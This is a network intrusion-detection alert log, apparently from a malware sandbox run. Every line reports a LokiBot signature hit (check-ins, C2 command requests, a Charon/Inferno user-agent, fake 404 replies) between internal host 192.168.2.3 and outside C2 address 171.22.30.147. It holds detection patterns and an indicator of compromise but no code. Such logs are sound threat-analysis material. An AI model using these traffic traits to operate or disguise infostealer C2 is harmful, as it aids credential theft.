192.168.2.3171.22.30.14749981802825766 01/05/23-08:53:34.961120	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49981	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749784802024318 01/05/23-08:52:36.673037	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49784	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749790802021641 01/05/23-08:52:38.345416	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49790	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749850802024318 01/05/23-08:52:56.172529	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49850	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749850802024313 01/05/23-08:52:56.172529	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49850	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749879802024318 01/05/23-08:53:03.965987	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49879	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749784802024313 01/05/23-08:52:36.673037	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49784	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749980802024313 01/05/23-08:53:34.702395	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49980	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750001802021641 01/05/23-08:53:40.243949	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50001	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498232025483 01/05/23-08:52:47.459157	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49823	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749824802025381 01/05/23-08:52:47.639113	TCP	2025381	ET TROJAN LokiBot Checkin	49824	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749849802825766 01/05/23-08:52:55.895226	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49849	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749991802021641 01/05/23-08:53:37.629731	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49991	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749994802021641 01/05/23-08:53:38.408241	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49994	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750004802021641 01/05/23-08:53:41.033557	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50004	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749953802825766 01/05/23-08:53:25.469204	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49953	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500112025483 01/05/23-08:53:43.008527	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50011	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380500712025483 01/05/23-08:54:00.509398	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50071	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749950802825766 01/05/23-08:53:24.624259	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49950	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749861802825766 01/05/23-08:52:59.149010	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49861	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498012025483 01/05/23-08:52:41.456999	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49801	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749821802025381 01/05/23-08:52:46.829983	TCP	2025381	ET TROJAN LokiBot Checkin	49821	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750044802024318 01/05/23-08:53:53.227481	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50044	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750041802024318 01/05/23-08:53:52.410718	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50041	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750042802825766 01/05/23-08:53:52.687057	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50042	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750045802825766 01/05/23-08:53:53.481872	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50045	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750041802024313 01/05/23-08:53:52.410718	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50041	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749775802825766 01/05/23-08:52:32.683406	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49775	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749718802024318 01/05/23-08:52:15.464089	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49718	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750032802021641 01/05/23-08:53:49.938594	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50032	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749718802024313 01/05/23-08:52:15.464089	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49718	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749759802024318 01/05/23-08:52:28.024665	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49759	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498892025483 01/05/23-08:53:06.757466	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49889	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749699802021641 01/05/23-08:52:06.870270	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49699	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749848802024318 01/05/23-08:52:55.640788	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49848	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749730802024313 01/05/23-08:52:19.853027	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49730	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749788802021641 01/05/23-08:52:37.784136	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49788	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749878802025381 01/05/23-08:53:03.704233	TCP	2025381	ET TROJAN LokiBot Checkin	49878	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749730802024318 01/05/23-08:52:19.853027	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49730	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749966802021641 01/05/23-08:53:30.946864	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49966	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750044802024313 01/05/23-08:53:53.227481	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50044	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498672025483 01/05/23-08:53:00.853652	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49867	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380497032025483 01/05/23-08:52:08.643965	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49703	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380499982025483 01/05/23-08:53:39.543765	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49998	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750017802825766 01/05/23-08:53:44.537455	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50017	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749787802024313 01/05/23-08:52:37.509502	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49787	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749876802024318 01/05/23-08:53:03.175112	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49876	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498452025483 01/05/23-08:52:54.928267	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49845	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749787802024318 01/05/23-08:52:37.509502	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49787	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750071802025381 01/05/23-08:54:00.426977	TCP	2025381	ET TROJAN LokiBot Checkin	50071	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749876802024313 01/05/23-08:53:03.175112	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49876	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500492025483 01/05/23-08:53:54.623365	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50049	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749878802825766 01/05/23-08:53:03.704233	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49878	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749976802825766 01/05/23-08:53:33.629058	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49976	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749783802825766 01/05/23-08:52:36.372208	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49783	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749915802825766 01/05/23-08:53:15.112176	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49915	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749709802025381 01/05/23-08:52:11.256691	TCP	2025381	ET TROJAN LokiBot Checkin	49709	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749922802024313 01/05/23-08:53:17.061545	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49922	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750040802025381 01/05/23-08:53:52.135869	TCP	2025381	ET TROJAN LokiBot Checkin	50040	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750083802825766 01/05/23-08:54:03.789158	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50083	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750037802025381 01/05/23-08:53:51.314352	TCP	2025381	ET TROJAN LokiBot Checkin	50037	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498952025483 01/05/23-08:53:08.453954	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49895	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749759802024313 01/05/23-08:52:28.024665	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49759	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497592025483 01/05/23-08:52:28.116411	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49759	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749721802024318 01/05/23-08:52:17.231128	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49721	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749756802021641 01/05/23-08:52:27.231494	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49756	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749999802025381 01/05/23-08:53:39.715844	TCP	2025381	ET TROJAN LokiBot Checkin	49999	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749816802024318 01/05/23-08:52:45.483412	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49816	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749911802021641 01/05/23-08:53:14.014731	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49911	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749721802024313 01/05/23-08:52:17.231128	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49721	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749941802025381 01/05/23-08:53:22.165125	TCP	2025381	ET TROJAN LokiBot Checkin	49941	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749779802024318 01/05/23-08:52:35.235559	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49779	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749874802021641 01/05/23-08:53:02.624496	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49874	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749790802024318 01/05/23-08:52:38.345416	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49790	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749798802025381 01/05/23-08:52:40.547899	TCP	2025381	ET TROJAN LokiBot Checkin	49798	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749885802024318 01/05/23-08:53:05.575803	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49885	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749980802021641 01/05/23-08:53:34.702395	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49980	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749790802024313 01/05/23-08:52:38.345416	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49790	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749835802025381 01/05/23-08:52:50.902278	TCP	2025381	ET TROJAN LokiBot Checkin	49835	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749922802024318 01/05/23-08:53:17.061545	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49922	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750018802024318 01/05/23-08:53:44.999195	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50018	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749885802024313 01/05/23-08:53:05.575803	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49885	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750014802825766 01/05/23-08:53:43.719267	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50014	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749740802025381 01/05/23-08:52:22.636691	TCP	2025381	ET TROJAN LokiBot Checkin	49740	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749881802825766 01/05/23-08:53:04.500331	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49881	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750018802024313 01/05/23-08:53:44.999195	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50018	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749997802021641 01/05/23-08:53:39.208772	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49997	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749720802025381 01/05/23-08:52:16.949813	TCP	2025381	ET TROJAN LokiBot Checkin	49720	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498202025483 01/05/23-08:52:46.639144	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49820	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749991802024318 01/05/23-08:53:37.629731	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49991	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749763802825766 01/05/23-08:52:29.176849	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49763	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498612025483 01/05/23-08:52:59.232281	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49861	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749991802024313 01/05/23-08:53:37.629731	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49991	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750017802025381 01/05/23-08:53:44.537455	TCP	2025381	ET TROJAN LokiBot Checkin	50017	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749907802825766 01/05/23-08:53:12.956728	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49907	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749957802021641 01/05/23-08:53:26.768134	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49957	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749809802825766 01/05/23-08:52:43.596832	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49809	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380499162025483 01/05/23-08:53:15.457182	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49916	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749800802825766 01/05/23-08:52:41.099242	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49800	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749701802024318 01/05/23-08:52:07.731855	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49701	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749813802021641 01/05/23-08:52:44.686594	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49813	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749701802024313 01/05/23-08:52:07.731855	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49701	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498992025483 01/05/23-08:53:10.249229	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49899	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750067802024313 01/05/23-08:53:59.373237	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50067	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750022802825766 01/05/23-08:53:46.665385	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50022	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749836802024318 01/05/23-08:52:51.681664	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49836	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749776802021641 01/05/23-08:52:33.619524	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49776	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749805802021641 01/05/23-08:52:42.467353	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49805	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749799802024313 01/05/23-08:52:40.836883	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49799	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749960802021641 01/05/23-08:53:28.475539	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49960	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749799802024318 01/05/23-08:52:40.836883	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49799	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498582025483 01/05/23-08:52:58.421210	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49858	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749984802825766 01/05/23-08:53:35.743967	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49984	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749933802025381 01/05/23-08:53:20.043516	TCP	2025381	ET TROJAN LokiBot Checkin	49933	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749770802024318 01/05/23-08:52:31.112136	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49770	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749882802021641 01/05/23-08:53:04.789158	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49882	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749855802025381 01/05/23-08:52:57.514506	TCP	2025381	ET TROJAN LokiBot Checkin	49855	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749942802024318 01/05/23-08:53:22.441601	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49942	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749942802024313 01/05/23-08:53:22.441601	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49942	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749770802024313 01/05/23-08:52:31.112136	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49770	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498362025483 01/05/23-08:52:51.771164	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49836	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749979802025381 01/05/23-08:53:34.430839	TCP	2025381	ET TROJAN LokiBot Checkin	49979	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749752802025381 01/05/23-08:52:26.039085	TCP	2025381	ET TROJAN LokiBot Checkin	49752	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749795802825766 01/05/23-08:52:39.717554	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49795	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749749802025381 01/05/23-08:52:25.162571	TCP	2025381	ET TROJAN LokiBot Checkin	49749	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749989802021641 01/05/23-08:53:37.099082	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49989	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749836802024313 01/05/23-08:52:51.681664	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49836	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750071802825766 01/05/23-08:54:00.426977	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50071	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749838802825766 01/05/23-08:52:52.824149	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49838	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497782025483 01/05/23-08:52:35.041705	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49778	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749747802024313 01/05/23-08:52:24.577114	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49747	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749829802825766 01/05/23-08:52:49.001962	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49829	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749927802825766 01/05/23-08:53:18.426652	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49927	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497402025483 01/05/23-08:52:22.715646	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49740	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749990802025381 01/05/23-08:53:37.383838	TCP	2025381	ET TROJAN LokiBot Checkin	49990	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750058802024318 01/05/23-08:53:57.002594	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50058	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749750802024318 01/05/23-08:52:25.450968	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49750	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750002802825766 01/05/23-08:53:40.505314	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	50002	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749825802021641 01/05/23-08:52:47.903129	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49825	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750061802024313 01/05/23-08:53:57.824423	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50061	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14750058802024313 01/05/23-08:53:57.002594	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50058	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749736802021641 01/05/23-08:52:21.543284	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49736	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380497372025483 01/05/23-08:52:21.896475	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49737	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750061802024318 01/05/23-08:53:57.824423	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50061	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498772025483 01/05/23-08:53:03.510914	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49877	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749726802825766 01/05/23-08:52:18.702884	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49726	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749750802024313 01/05/23-08:52:25.450968	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49750	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749707802021641 01/05/23-08:52:10.342729	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49707	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749796802021641 01/05/23-08:52:39.986568	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49796	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749864802025381 01/05/23-08:52:59.960618	TCP	2025381	ET TROJAN LokiBot Checkin	49864	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749767802024313 01/05/23-08:52:30.299348	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49767	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749856802024318 01/05/23-08:52:57.793570	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49856	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749951802021641 01/05/23-08:53:24.927407	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49951	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749959802025381 01/05/23-08:53:28.075379	TCP	2025381	ET TROJAN LokiBot Checkin	49959	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749862802021641 01/05/23-08:52:59.436708	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49862	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500372025483 01/05/23-08:53:51.398803	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50037	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14749767802024318 01/05/23-08:52:30.299348	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49767	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749898802825766 01/05/23-08:53:09.845609	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49898	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749964802825766 01/05/23-08:53:30.400374	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49964	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749953802025381 01/05/23-08:53:25.469204	TCP	2025381	ET TROJAN LokiBot Checkin	49953	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380500152025483 01/05/23-08:53:44.078205	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	50015	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380499912025483 01/05/23-08:53:37.704453	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49991	171.22.30.147	192.168.2.3
171.22.30.147192.168.2.380499942025483 01/05/23-08:53:38.493200	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49994	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750057802025381 01/05/23-08:53:56.743180	TCP	2025381	ET TROJAN LokiBot Checkin	50057	80	192.168.2.3	171.22.30.147
171.22.30.147192.168.2.380498052025483 01/05/23-08:52:42.560455	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49805	171.22.30.147	192.168.2.3
192.168.2.3171.22.30.14750060802025381 01/05/23-08:53:57.543966	TCP	2025381	ET TROJAN LokiBot Checkin	50060	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749948802024313 01/05/23-08:53:24.079081	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49948	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749714802825766 01/05/23-08:52:13.349412	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49714	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749710802021641 01/05/23-08:52:11.662757	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49710	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749779802024313 01/05/23-08:52:35.235559	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49779	80	192.168.2.3	171.22.30.147
192.168.2.3171.22.30.14749723802825766 01/05/23-08:52:17.811814	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49723	80	192.168.2.3	171.22.30.147
